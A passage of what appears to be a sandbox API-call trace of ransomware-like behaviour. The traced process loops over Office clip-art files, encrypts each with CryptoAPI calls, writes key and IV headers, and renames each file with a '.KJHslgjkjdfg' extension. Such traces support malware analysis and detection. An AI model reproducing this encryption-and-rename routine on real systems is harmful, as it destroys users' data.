0x2f0c898 [0234.410] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40, dwBufLen=0x40 | out: pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40) returned 1 [0234.410] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0234.410] WriteFile (in: hFile=0x130, lpBuffer=0x2f0c898*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0c898*, lpNumberOfBytesWritten=0x4dff270*=0x40, lpOverlapped=0x0) returned 1 [0234.410] WriteFile (in: hFile=0x130, lpBuffer=0x4dff278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff278*, lpNumberOfBytesWritten=0x4dff270*=0x4, lpOverlapped=0x0) returned 1 [0234.410] WriteFile (in: hFile=0x130, lpBuffer=0x2f0ee68*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0ee68*, lpNumberOfBytesWritten=0x4dff270*=0x10, lpOverlapped=0x0) returned 1 [0234.410] WriteFile (in: hFile=0x130, lpBuffer=0x2f149f0*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f149f0*, lpNumberOfBytesWritten=0x4dff270*=0x80, lpOverlapped=0x0) returned 1 [0234.410] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff298 | out: lpNewFilePointer=0x0) returned 1 [0234.411] WriteFile (in: hFile=0x130, lpBuffer=0x4dff288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff288*, lpNumberOfBytesWritten=0x4dff270*=0x8, lpOverlapped=0x0) returned 1 [0234.411] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14c70, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0234.411] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0234.411] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0234.411] ReadFile (in: hFile=0x130, lpBuffer=0x4bf0020, nNumberOfBytesToRead=0x7a04, lpNumberOfBytesRead=0x4dff27c, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesRead=0x4dff27c*=0x7a04, lpOverlapped=0x0) returned 1 [0234.412] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x7a10, dwBufLen=0x7a10 | out: pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x7a10) returned 1 [0234.412] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0234.413] WriteFile (in: hFile=0x130, lpBuffer=0x4bf0020*, nNumberOfBytesToWrite=0x7a10, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesWritten=0x4dff270*=0x7a10, lpOverlapped=0x0) returned 1 [0234.413] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0234.413] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x7ae4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0234.413] SetEndOfFile (hFile=0x130) returned 1 [0234.551] GetProcessHeap () returned 0x2ef0000 [0234.551] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c898 | out: hHeap=0x2ef0000) returned 1 [0234.551] GetProcessHeap () returned 0x2ef0000 [0234.551] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0ee68 | out: hHeap=0x2ef0000) returned 1 [0234.551] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00305_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00305_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00305_.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00305_.wmf.kjhslgjkjdfg")) returned 1 [0234.553] CloseHandle (hObject=0x130) returned 1 [0234.553] FindNextFileW (in: hFindFile=0x2f18288, lpFindFileData=0x4dff300 | out: lpFindFileData=0x4dff300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7b207c00, ftCreationTime.dwHighDateTime=0x1bd4ae3, ftLastAccessTime.dwLowDateTime=0x6d30c390, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7b207c00, ftLastWriteTime.dwHighDateTime=0x1bd4ae3, nFileSizeHigh=0x0, nFileSizeLow=0xee4a, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="SO00333_.WMF", cAlternateFileName="")) returned 1 [0234.553] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00333_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00333_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0234.554] GetProcessHeap () returned 0x2ef0000 [0234.554] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x10) returned 0x2f0ee68 [0234.554] CryptGenRandom (in: hProv=0x2f0c268, dwLen=0x10, pbBuffer=0x2f0ee68 | out: pbBuffer=0x2f0ee68) returned 1 [0234.555] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff290 | out: lpNewFilePointer=0x0) returned 1 [0234.555] WriteFile (in: hFile=0x130, lpBuffer=0x4dff2a0*, nNumberOfBytesToWrite=0x6, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff2a0*, lpNumberOfBytesWritten=0x4dff270*=0x6, lpOverlapped=0x0) returned 1 [0234.559] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14b20, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0234.559] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0234.559] GetProcessHeap () returned 0x2ef0000 [0234.559] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c898 [0234.559] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40, dwBufLen=0x40 | out: pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40) returned 1 [0234.559] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0234.559] WriteFile (in: hFile=0x130, lpBuffer=0x2f0c898*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0c898*, lpNumberOfBytesWritten=0x4dff270*=0x40, lpOverlapped=0x0) returned 1 [0234.559] WriteFile (in: hFile=0x130, lpBuffer=0x4dff278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff278*, lpNumberOfBytesWritten=0x4dff270*=0x4, lpOverlapped=0x0) returned 1 [0234.560] WriteFile (in: hFile=0x130, lpBuffer=0x2f0ee68*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0ee68*, lpNumberOfBytesWritten=0x4dff270*=0x10, lpOverlapped=0x0) returned 1 [0234.560] WriteFile (in: hFile=0x130, lpBuffer=0x2f11a08*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f11a08*, lpNumberOfBytesWritten=0x4dff270*=0x80, lpOverlapped=0x0) returned 1 [0234.560] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff298 | out: lpNewFilePointer=0x0) returned 1 [0234.560] WriteFile (in: hFile=0x130, lpBuffer=0x4dff288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff288*, lpNumberOfBytesWritten=0x4dff270*=0x8, lpOverlapped=0x0) returned 1 [0234.560] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14b20, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0234.560] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0234.560] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0234.560] ReadFile (in: hFile=0x130, lpBuffer=0x4bf0020, nNumberOfBytesToRead=0xee4a, lpNumberOfBytesRead=0x4dff27c, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesRead=0x4dff27c*=0xee4a, lpOverlapped=0x0) returned 1 [0234.562] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0xee50, dwBufLen=0xee50 | out: pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0xee50) returned 1 [0234.562] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0234.562] WriteFile (in: hFile=0x130, lpBuffer=0x4bf0020*, nNumberOfBytesToWrite=0xee50, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesWritten=0x4dff270*=0xee50, lpOverlapped=0x0) returned 1 [0234.563] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0234.563] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0xef24, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0234.563] SetEndOfFile (hFile=0x130) returned 1 [0234.566] GetProcessHeap () returned 0x2ef0000 [0234.566] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c898 | out: hHeap=0x2ef0000) returned 1 [0234.566] GetProcessHeap () returned 0x2ef0000 [0234.566] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0ee68 | out: hHeap=0x2ef0000) returned 1 [0234.566] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00333_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00333_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00333_.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00333_.wmf.kjhslgjkjdfg")) returned 1 [0234.568] CloseHandle (hObject=0x130) returned 1 [0234.568] FindNextFileW (in: hFindFile=0x2f18288, lpFindFileData=0x4dff300 | out: lpFindFileData=0x4dff300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc0e04300, ftCreationTime.dwHighDateTime=0x1bd4ae9, ftLastAccessTime.dwLowDateTime=0x6d30c390, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xc0e04300, ftLastWriteTime.dwHighDateTime=0x1bd4ae9, nFileSizeHigh=0x0, nFileSizeLow=0x8b96, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="SO00345_.WMF", cAlternateFileName="")) returned 1 [0234.568] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00345_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00345_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0234.569] GetProcessHeap () returned 0x2ef0000 [0234.569] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x10) returned 0x2f0ee68 [0234.569] CryptGenRandom (in: hProv=0x2f0c268, dwLen=0x10, pbBuffer=0x2f0ee68 | out: pbBuffer=0x2f0ee68) returned 1 [0234.569] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff290 | out: lpNewFilePointer=0x0) returned 1 [0234.569] WriteFile (in: hFile=0x130, lpBuffer=0x4dff2a0*, nNumberOfBytesToWrite=0xa, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff2a0*, lpNumberOfBytesWritten=0x4dff270*=0xa, lpOverlapped=0x0) returned 1 [0234.586] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14c70, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0234.586] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0234.586] GetProcessHeap () returned 0x2ef0000 [0234.586] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c898 [0234.587] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40, dwBufLen=0x40 | out: pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40) returned 1 [0234.587] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0234.587] WriteFile (in: hFile=0x130, lpBuffer=0x2f0c898*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0c898*, lpNumberOfBytesWritten=0x4dff270*=0x40, lpOverlapped=0x0) returned 1 [0234.587] WriteFile (in: hFile=0x130, lpBuffer=0x4dff278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff278*, lpNumberOfBytesWritten=0x4dff270*=0x4, lpOverlapped=0x0) returned 1 [0234.587] WriteFile (in: hFile=0x130, lpBuffer=0x2f0ee68*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0ee68*, lpNumberOfBytesWritten=0x4dff270*=0x10, lpOverlapped=0x0) returned 1 [0234.587] WriteFile (in: hFile=0x130, lpBuffer=0x2f149f0*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f149f0*, lpNumberOfBytesWritten=0x4dff270*=0x80, lpOverlapped=0x0) returned 1 [0234.587] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff298 | out: lpNewFilePointer=0x0) returned 1 [0234.587] WriteFile (in: hFile=0x130, lpBuffer=0x4dff288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff288*, lpNumberOfBytesWritten=0x4dff270*=0x8, lpOverlapped=0x0) returned 1 [0234.587] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14c70, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0234.587] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0234.587] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0234.587] ReadFile (in: hFile=0x130, lpBuffer=0x4bf0020, nNumberOfBytesToRead=0x8b96, lpNumberOfBytesRead=0x4dff27c, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesRead=0x4dff27c*=0x8b96, lpOverlapped=0x0) returned 1 [0234.591] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x8ba0, dwBufLen=0x8ba0 | out: pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x8ba0) returned 1 [0234.592] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0234.592] WriteFile (in: hFile=0x130, lpBuffer=0x4bf0020*, nNumberOfBytesToWrite=0x8ba0, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesWritten=0x4dff270*=0x8ba0, lpOverlapped=0x0) returned 1 [0234.592] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0234.592] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x8c74, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0234.592] SetEndOfFile (hFile=0x130) returned 1 [0234.595] GetProcessHeap () returned 0x2ef0000 [0234.595] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c898 | out: hHeap=0x2ef0000) returned 1 [0234.595] GetProcessHeap () returned 0x2ef0000 [0234.595] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0ee68 | out: hHeap=0x2ef0000) returned 1 [0234.595] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00345_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00345_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00345_.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00345_.wmf.kjhslgjkjdfg")) returned 1 [0234.604] CloseHandle (hObject=0x130) returned 1 [0234.604] FindNextFileW (in: hFindFile=0x2f18288, lpFindFileData=0x4dff300 | out: lpFindFileData=0x4dff300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbb844700, ftCreationTime.dwHighDateTime=0x1bf323f, ftLastAccessTime.dwLowDateTime=0x5aa18b10, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xbb844700, ftLastWriteTime.dwHighDateTime=0x1bf323f, nFileSizeHigh=0x0, nFileSizeLow=0xbbe0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="SO00350_.WMF", cAlternateFileName="")) returned 1 [0234.604] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00350_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00350_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0234.605] GetProcessHeap () returned 0x2ef0000 [0234.605] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x10) returned 0x2f0ee68 [0234.605] CryptGenRandom (in: hProv=0x2f0c268, dwLen=0x10, pbBuffer=0x2f0ee68 | out: pbBuffer=0x2f0ee68) returned 1 [0234.606] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff290 | out: lpNewFilePointer=0x0) returned 1 [0234.606] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14b20, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0234.606] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0234.606] GetProcessHeap () returned 0x2ef0000 [0234.606] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c898 [0234.606] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40, dwBufLen=0x40 | out: pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40) returned 1 [0234.606] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0234.606] WriteFile (in: hFile=0x130, lpBuffer=0x2f0c898*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0c898*, lpNumberOfBytesWritten=0x4dff270*=0x40, lpOverlapped=0x0) returned 1 [0234.608] WriteFile (in: hFile=0x130, lpBuffer=0x4dff278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff278*, lpNumberOfBytesWritten=0x4dff270*=0x4, lpOverlapped=0x0) returned 1 [0234.608] WriteFile (in: hFile=0x130, lpBuffer=0x2f0ee68*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0ee68*, lpNumberOfBytesWritten=0x4dff270*=0x10, lpOverlapped=0x0) returned 1 [0234.608] WriteFile (in: hFile=0x130, lpBuffer=0x2f11a08*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f11a08*, lpNumberOfBytesWritten=0x4dff270*=0x80, lpOverlapped=0x0) returned 1 [0234.608] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff298 | out: lpNewFilePointer=0x0) returned 1 [0234.608] WriteFile (in: hFile=0x130, lpBuffer=0x4dff288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff288*, lpNumberOfBytesWritten=0x4dff270*=0x8, lpOverlapped=0x0) returned 1 [0234.609] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14b20, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0234.609] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0234.609] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0234.609] ReadFile (in: hFile=0x130, lpBuffer=0x4bf0020, nNumberOfBytesToRead=0xbbe0, lpNumberOfBytesRead=0x4dff27c, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesRead=0x4dff27c*=0xbbe0, lpOverlapped=0x0) returned 1 [0234.610] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0xbbe0, dwBufLen=0xbbe0 | out: pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0xbbe0) returned 1 [0234.611] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0234.611] WriteFile (in: hFile=0x130, lpBuffer=0x4bf0020*, nNumberOfBytesToWrite=0xbbe0, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesWritten=0x4dff270*=0xbbe0, lpOverlapped=0x0) returned 1 [0234.611] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0234.611] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0xbcb4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0234.611] SetEndOfFile (hFile=0x130) returned 1 [0234.614] GetProcessHeap () returned 0x2ef0000 [0234.614] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c898 | out: hHeap=0x2ef0000) returned 1 [0234.614] GetProcessHeap () returned 0x2ef0000 [0234.614] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0ee68 | out: hHeap=0x2ef0000) returned 1 [0234.614] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00350_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00350_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00350_.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00350_.wmf.kjhslgjkjdfg")) returned 1 [0234.617] CloseHandle (hObject=0x130) returned 1 [0234.617] FindNextFileW (in: hFindFile=0x2f18288, lpFindFileData=0x4dff300 | out: lpFindFileData=0x4dff300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbb844700, ftCreationTime.dwHighDateTime=0x1bf323f, ftLastAccessTime.dwLowDateTime=0x6d30c390, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xbb844700, ftLastWriteTime.dwHighDateTime=0x1bf323f, nFileSizeHigh=0x0, nFileSizeLow=0x934c, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="SO00352_.WMF", cAlternateFileName="")) returned 1 [0234.617] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00352_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00352_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0234.621] GetProcessHeap () returned 0x2ef0000 [0234.621] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x10) returned 0x2f0ee68 [0234.622] CryptGenRandom (in: hProv=0x2f0c268, dwLen=0x10, pbBuffer=0x2f0ee68 | out: pbBuffer=0x2f0ee68) returned 1 [0234.622] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff290 | out: lpNewFilePointer=0x0) returned 1 [0234.622] WriteFile (in: hFile=0x130, lpBuffer=0x4dff2a0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff2a0*, lpNumberOfBytesWritten=0x4dff270*=0x4, lpOverlapped=0x0) returned 1 [0234.631] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14c70, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0234.631] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0234.631] GetProcessHeap () returned 0x2ef0000 [0234.631] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c898 [0234.631] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40, dwBufLen=0x40 | out: pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40) returned 1 [0234.631] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0234.631] WriteFile (in: hFile=0x130, lpBuffer=0x2f0c898*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0c898*, lpNumberOfBytesWritten=0x4dff270*=0x40, lpOverlapped=0x0) returned 1 [0234.631] WriteFile (in: hFile=0x130, lpBuffer=0x4dff278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff278*, lpNumberOfBytesWritten=0x4dff270*=0x4, lpOverlapped=0x0) returned 1 [0234.631] WriteFile (in: hFile=0x130, lpBuffer=0x2f0ee68*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0ee68*, lpNumberOfBytesWritten=0x4dff270*=0x10, lpOverlapped=0x0) returned 1 [0234.631] WriteFile (in: hFile=0x130, lpBuffer=0x2f149f0*, nNumberOfBytesToWrite=0x80, 